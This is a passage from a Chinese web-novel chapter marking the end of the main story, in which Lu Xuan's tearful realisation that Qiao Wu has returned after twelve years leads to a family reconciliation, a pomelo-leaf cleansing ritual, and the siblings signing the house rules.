她的心瞬间提到了嗓子眼。 在这边等待很久医护人员很快准备上前。 她和陆尽之站在外面没有贸然上前打乱别人的救援工作,视线却没离开过直升机。 人一个个出来。 直到最后,那个穿着单薄高大修长的人影被人搀扶着下来。 她呼吸顿时一滞。 她从来没见过这样狼狈的陆宣,他还穿着没换下来的戏服,衣服湿漉漉的贴在身上,脚下全是黄色的泥泞,头发也乱糟糟的,脸色很白,裸露在外面的皮肤又红又肿。 高傲精致的小花孔雀在这一刻灰扑扑的,路都走不稳。 他走了几步,不知道身边的人说了什么,那垂着的脑袋忽然就抬了起来,直勾勾越过人群看过来,他表情不是想象中那样脆弱,看不出来什么情绪。 乔梧知道他在看什么,所以她抬起手给他做了个让他安心的手势。 可原本要上救护车的陆宣却直直朝她走来,拦都拦不住。 预料到他要干什么,乔梧忙上前:“先上车。” 陆宣没说话。 他在乔梧面前站定,又看了看她身后的陆尽之。 而后收回视线,哑声问:“你说下一次见面要跟我说的话,是什么?” 乔梧瞪大眼睛。 没等她回答,陆宣又问:“是好久不见吗?” 虽然现在不是说这件事的时候,可乔梧还是很艰难地点了一下头,因为能问出这个问题的陆宣,应该已经得到答案了。 在她再次抬头的时候,一直绷着脸的陆宣眼睛倏忽变红。 他胸口剧烈起伏,很明显吞咽了两下。 终于,豆大的眼泪落下来。 “乔梧。”他垂在身侧的手没有任何力气抬起来。 连看她的勇气都没有。 这么多天的情绪在这一刻终于爆发。 他哭得语不成调:“我犯了一个很大的错。” 他没认出来乔梧。 那个他自以为很重要的人。【魔蝎小说 mo xie xs .c om】 第八十八章 正文完 第88章 第八十八章正文完 所幸每个人都有安全规避,都没受什么伤。 只是陆宣被冻得狠了,极端天气里那些雨水冰雹砸到身上起了过敏症状,加上情绪起伏有些大,回来就开始发烧,医生处理完后他就一直躺在医院睡觉。 他住的是VIP病房,给陪护的家里人也准备了休息的房间。 乔梧坐在外面的沙发上,有了医生的嘱咐她现在倒是不担心陆宣的身体,只是一直在想他上救护车之前说的那些话。 忽而手被人拉过去,触碰到温热的玻璃杯。 陆尽之在她身边坐下:“喝点温水。” 乔梧抬起来抿了口,明明她没有淋雨,可身体一直都是冰凉的,喝下这杯水才感觉呼吸平复了很多。 又忍不住去看他。 后者在她头上轻轻揉了揉,而后轻轻包裹住她冰冷的手:“怕什么?” 乔梧捧着杯子轻声说:“我好像也做错了事。” 她有点过于自负了。 以为很多事情没有必要就不用说,自己可以一个人承受。 但尤其忽略了十二年这个时间跨度。 如果她真的回不来,那就不是故友,而是故人了。 她带着上帝视角,觉得过去的事不用提及,也总是走在人前。 可陆宣他们却什么都不知道,是真真切切在等待着她。 哪怕是陆尽之这种天才,过去也算不到她究竟会不会再回来,也无可奈何,更别提陆宣他们了。 陆尽之看了她几秒,笑问:“你是神仙吗?” “什么?” “神仙都要各司其职,不是无所不能,更何况你不是神仙,你只是呜呜。”陆尽之轻声说,“不是所有事情都能简单用对错来评判,你没错。” 顿了下,他又补充:“他也没有。” 凭心而论,他觉得陆宣的智商比较低,也不够成熟。 但在这件事上,他不能挑陆宣的错。 只能说,跟陆宣的思维逻辑是对等的。 陆尽之缓声道:“要说有错,那是我的。” “你?” “嗯。” 作为兄长,最先发现这件事,却没有给任何人说。 他最初觉得没什么所谓,后来出于自己的私心。 所以这才是他的错。 但他是利己主义者,并不觉得这种隐瞒罪大恶极,这是他理智思考的所有物,是他的私人财产,不分享也是应该的。 他笑了笑:“你在心疼他。” 乔梧没否认。 谁看到那样的陆宣不心疼。 他是最吃不得苦的。 陆尽之有些可惜地说:“是我把自己照顾得太好了。” “……” 见她没有之前那么黯然,陆尽之才倾身将人虚虚抱住,不带一丝情欲,像是拍小孩那样在她后背拍了两下:“心疼一下你自己。” 乔梧将下巴搭在他肩膀上,明白了他的意思。 其实最大的受害者应该是她自己。 她眨了眨眼,很诚实地说:“我还好。” 过去那些时间她没有过于伤春悲秋,但被困着的十二年亲眼看到其他人的变化这才是让她对其他人产生心疼的原因。 陆尽之顺着她:“嗯,不好的是我。” 那些复杂的思绪在这个拥抱里一点点缓解下来,乔梧合上眼没有再想,免得用这些负面情绪来影响自己。 过了一会儿,看到新闻的陆江把电话打了过来。 陆尽之起身去接电话,乔梧便把杯子放在桌上,去到陆宣的房间门口想看看他身上的过敏症状消下去没有。 当时又红又肿看得让人揪心。 她推门进去时,陆宣还没醒。 乔梧原本只是想看看他的手臂,但才将他的袖子往上拉了点儿就感觉这人缩了一下。 她动作顿了顿,抬头。 床上的人依旧没睁眼,她失笑,拉过旁边的椅子坐下:“还痒不痒?” 再也装不下去了,陆宣这才把眼睛睁开。 身上很痒。 但他暂时忽略了。 就是目不转睛地盯着她看。 如果她不是那个时候出现,他都能再多绷几天的。 可一看到她,就什么也顾不上了。 他有很多话想说,到了这一刻却堵在胸口什么也说不出,最后干脆坐起来。 “你受伤了吗?”他像连珠炮一样地问,“有没有被欺负,有没有吃很多苦?是不是自己一个人走过来……” 乔梧打断他:“陆宣。” 陆宣哑然。 他低垂下眼睛,克制地眨了几下,把湿润的感觉给忍下去,用发疼的嗓子说:“十二年。” 他像是呼吸不过来的样子,重重地吐出一口气:“连公主都长大了。” 原本以为是一眨眼的时间。 可现在回头看,每一个细节走过来的每一段路都有很清晰的证明,证明十二年真的很长。 长到当他意识到这件事的时候,根本不敢仔细想。 想她的遭遇。 乔梧温声问:“你在担心我吗?” 陆宣沉默点头。 “我没受伤,没被欺负,没吃苦,也不是一个人走过来的。”乔梧很耐心地一个个回答他的问题,“不用担心我,我其实一直很好。” 又说:“也没有怪你。” “你当然不会怪我。”陆宣喃喃道,“你永远不会怪我。” 他是在怪自己。 乔梧拿了遥控器把窗帘打开,等光一点点把屋内照亮,问他:“那你呢? ” 陆宣还没从情绪里回过神来,下意识回答:“我?” “你过得好吗?这些年有没有受过伤,吃过苦,有没有被欺负?” 陆宣倏忽抬头。 望进坐在自己面前这人的浅瞳里,像是过去无数次那样,哪怕她再怎么成为22岁的乔梧,她的眼神都从来没变过。 “我能吃什么苦。”他说。 没人敢让他吃苦,也没人敢欺负他。 但他,过得不好。 “所以我跟你一样,我们都没必要因为过去的事情互相自责。”乔梧说,“反正以后我们都会好好过对吧?” 表面上谁都没有吃苦。 但实际上有些苦不在皮肉,谁也逃不过。 所以陆尽之虽然很难共情别人的情感,但在这些事情上更能看得清晰理智。 他说的对,不能靠对错来评判。 “还有哪里不舒服吗?”乔梧问,“剧组那边暂时放了一个星期的假,等你休息好我们再一起回去。” 以往回家是陆宣最期待的事。 乔梧来接他,更是他期待中的期待。 只是现在跟以往不同了。 他看着乔梧:“那天我在机场遇到崔斯同,他说你咨询工作室的事,昨天听林窕说,你是剧组的投资人。” 他想问,你为什么要这么做。 但又觉得这个问题很蠢。 所以他换了个问法:“乔梧,我对你很重要吗?” 乔梧没有任何犹豫。 这些事他早晚都会知道,所以也不会否认自己对他的偏向。 “你们对我都很重要。”她笑道,“你忘了,我们是家人,我对你们都有偏向。” “我们。”陆宣重复了一遍,又轻轻重复了好几遍,而后点了点头,“对,你说过,我是你哥。” 说完后他自己都笑了笑:“辈分不是乱了么。” “什么?” 陆宣说:“陆尽之也要喊我哥。” 乔梧愣了下。 见她有些诧异,陆宣没再多看她的眼睛:“他把我当傻狗看,你也是?” 坐起来的他又重新倒了下去,拉过被子盖住自己的半张脸。 “我再睡一会儿。”他说,“我没事了。” 既然这样乔梧也没有再多说什么。 又给他拉好窗帘走了出去。 陆尽之已经打完了电话,站在门口往里看了一眼,跟躺在床上的陆宣对视上。 后者狠狠地剜他一眼,转过身用背对他。 陆尽之淡淡收回眼神,将门带上。 “聊完了?” “嗯。”乔梧心情终于放松了一点,回到沙发上坐下,见他应该是早就打完了电话,问,“应该没什么事了,你不进去看看?” 陆尽之放下手机:“不去。” 他没坐下。 乔梧疑惑抬眼。 然后就见陆尽之将她的眼镜给取了下来,用镜腿轻轻勾了下她的下巴。 他一言不发,不由分说就俯身在她额头上吻了一下。 紧接着又吻在她的唇上。 很短的时间,却很重地在她下唇咬了一下。 他就这么一句话不说,吻完像是什么都没发生一般,又慢条斯理给她把眼镜戴上。 乔梧:“?” 看陆尽之亲完后又坐下来,将她之前放在桌上那杯水拿起来一饮而尽,她全程茫然。 “叔叔又说什么了?” 只能是陆江惹他生气了吧。 陆尽之看她颇有些要回去教育一下陆江的架势,没忍住笑着在她额头上贴了一下:“没事。” 就是看到小狗那么粘人,所以有点吃醋了。 他见过郭力言那种隐晦的眼神,也见过沈延明目张胆的觊觎,更明白自己从头到尾都要占有的心事,所以对于陆宣和陆应池那些小打小闹并不太放在心上。 但不代表全然无动于衷。 甚至丝毫不怀疑,如果日久天长下去,那两条小狗会产生跟其他人一样的情绪。 所以他才一点点地引导他们看穿自己和乔梧之间的亲密,把懵懂扼杀在摇篮里。 他们虽然笨了点,但底线是清晰的。 这是他这些年来的养狗心得。 所以说,笨也有笨的好处。 房间里,原本说要睡觉的陆宣并没有睡着。 外面的声音一点点变得模糊,最后他完全听不见陆尽之跟乔梧在说什么了。 他吸了吸鼻子。 心里很清楚地知道他没有必要再问,也没有必要质疑。 不仅是因为他没认出来乔梧。 还是因为他自己。 谁都是从那十二年里走出来的,但陆尽之走到了今天。 而他和陆应池却浑浑噩噩活在过去意气用事,连基础的是非观都模糊了。 没认出来乔梧,是他犯的错。 但把自己养成这个样子,也是他的错。 他依旧期待跟乔梧的亲密关系。 她回来了。 那就像过去他一直以为的、像十二年前那样,做能保护她的哥哥。 他做得起。 陆柠不行,陆应池也不行,陆尽之更不行。 只有他是。 陆尽之到时候还得喊他一声哥。 牛逼PLUS。 嗯,就是这样。 他合上眼- 第二天,三人一起回到北城。 陆宣身上过敏的症状已经消了,但还有些红印没退,他把自己裹得很严实,下车就埋着头往门里冲。 反正一定不能让陆应池和陆柠看到自己现在的样子。 不然他的黑粉超话一定会多一份爆料。 没想到他刚进门就有两个影子从旁边冲了出来,以迅雷不及掩耳之势拿着什么东西抽在他身上。 陆宣眼睛花了一会儿才发现,陆柠和陆应池手里拿着的是两大把绿叶子。 两人跟跳大神似的,嘴里念念有词。 “靠!”陆宣裸露出来的手背被抽得生疼,一把将陆柠的手给抓住,“干什么呢!” “柚子叶。”被抓住的陆柠还揪着一片叶子盖在他被抽红的手背上,心虚地说,“给你去晦气呢。” 陆宣额头直跳:“得亏你还认得柚子叶。” “那我特意查的。”陆柠挣扎了一下,“放开我,我们还给你准备了洗手的。” 幼不幼稚。 陆宣到底是放开了她。 陆应池端了一个盆在他面前砰的放下,将余下的柚子叶全都一把薅下来扔进盆里:“快点,趁热。” 陆宣走上前看了一眼。 那满盆蜜汁颜色,让他觉得这像是一盆硫酸。 他象征性的伸手碰了碰。 然后飞块的缩回来。 抓起陆应池薅完叶子的那把藤条就往他身上抽。 “……”他忍无可忍,“晦气玩意儿,这是开水!” 陆柠躲到一边:“书上说开水才能煮开晦气!” “书上没告诉你不能用开水洗手?!”陆宣也没放过她,在她屁股上抽了一下,“我把你塞进去煮煮,你看看能不能去去你身上的学渣晦气?” “哼。” 不识好人心。 陆柠把盆端走,趁机毁尸灭迹。 乔梧生怕她再端个盆把自己烫着,也不知道里面这两大孩子还搞了什么小“妙思”,忙跟上去看看。 门外就剩下兄弟三人。 陆应池看了看表情淡淡的陆尽之,刚要提醒他现在网上全是他跟乔梧的绯闻。 结果就看到陆尽之走到了家里那个挂着家规的地方。 这上面写的东西全是当初用来约束陆尽之以外的其他人的,包括所谓的目标,如今也都还是截止上学期期末的东西。 “我可全都及格了。”陆应池板着脸说,“不止及格,绩点也是专业第一。” 当他第一排听课说笑呢。 你休想挑我的错! 陆宣也捏着树枝说:“反正我每天都在上班。” 还伸出手:“看到没,这都是工伤!” 两人虎视眈眈,但凡今天陆尽之要是再嘲讽他们一句,这树枝就抽他身上。 再告到中央。 结果他们等啊等,什么都没等到。 陆尽之甚至都没看他们一眼。 只是拿起旁边之前摆在这儿给陆柠辅导用的黑色水笔,在第一张印着家规那张纸的右下角写下了三个字。 陆尽之。 写完后他放下笔,回头轻轻扫了两条跃跃欲试的小狗一眼,笑了下:“干得不错。” “?” “??” 等陆尽之走了好远,呆住的陆宣和陆应池才反应过来。 两人很有默契地打了个寒颤。 陆宣甩掉一身鸡皮疙瘩:“他才是那个需要去晦气的人吧!被什么脏东西染上了。” 陆应池不语,只是一味用柚子叶扫自己身上。 去晦气去晦气。 这边乔梧监督着陆柠把水处理好以后才放心下来。 这一路上都是陆柠和陆应池造的那些散落的叶子,陆柠也知道要收拾,所以识趣地去叫佣人了。 乔梧俯身也捡起其中两片,一片自己拿着,另一片递给走过来陆尽之:“我们也扫一扫。” 陆尽之莞尔。 他将自己那片轻轻夹在了乔梧外套第一颗和第二颗的扣子中间。 “陆尽之的也给你。”他说,“呜呜以后要平平安安。” 乔梧低头看了眼那抹绿,也笑。 她跟陆尽之一起走出去,此时一楼已经不见了陆应池和陆宣的影子。 “人呢?” 陆尽之的站在她身后一步远:“撒欢了。” 乔梧转身。 可这次视线却不是落在陆尽之身上,而是顺着他的视线看向了墙上的家规。 当初她跟陆江说的,一个唬人玩的小游戏而已。 此时那上面多了三个人的名字。 陆尽之。 陆宣。 陆应池。 每个人字迹都不一样,龙飞凤舞,却又整整齐齐地排在那片梧桐叶的旁边。 乔梧眉梢扬了扬。 紧接着,一只小小的手捏着笔从底下冒出来。 已经跑回来的陆柠努力地垫着脚,试图在上面也留下自己的名字,倔强地说:“休想孤立我。” 可真的当落笔的那一瞬间,她又想起什么,回过头。 “二叔。”她撇着嘴,“这里我能写吧。” 她练了一个学期字帖了。 自己的名字能写好的。 陆尽之没说话,只是随手给她拉过来一张椅子。 陆柠顿时开心了,爬到椅子上一笔一划在那三个名字下加上自己的名字。 见状乔梧就知道为什么陆宣和陆应池不见人影了。 干这种幼稚的事情没脸在这儿待着。 陆尽之的名字写在最上面。 是谁先开的头不言而喻。 她笑了笑,回头抬眸望着陆尽之,明知故问:“为什么忽然想起写这个?” 陆尽之也笑:“你为什么,我就为什么。” 乔梧重新看着那几个名字。 现在多加上了陆柠。 陆尽之不是幼稚的人,他写下名字没有其他意思。 只是要告诉所有人,他依旧像过去的陆江或是大哥一样,以后会一直站在这里,也会站在她身边。 至于陆宣和陆应池,或许理解了他的意思。 所以才第一次没有那么好强,而是偷偷把自己名字写在了下面。 她轻声说:“陆尽之,我做了个梦。” “嗯?” “我梦到。”乔梧眼底映着浅浅的光,从漆黑的梦境中脱离出来,“梦到我们都好好的长大了,每个人都过得很好。” 陆尽之在她身边站定,轻轻抚摸她的眉心:“现在醒了吗?” “嗯。”乔梧含笑,“原来不是梦。”【魔蝎小说 mo xie xs .c om】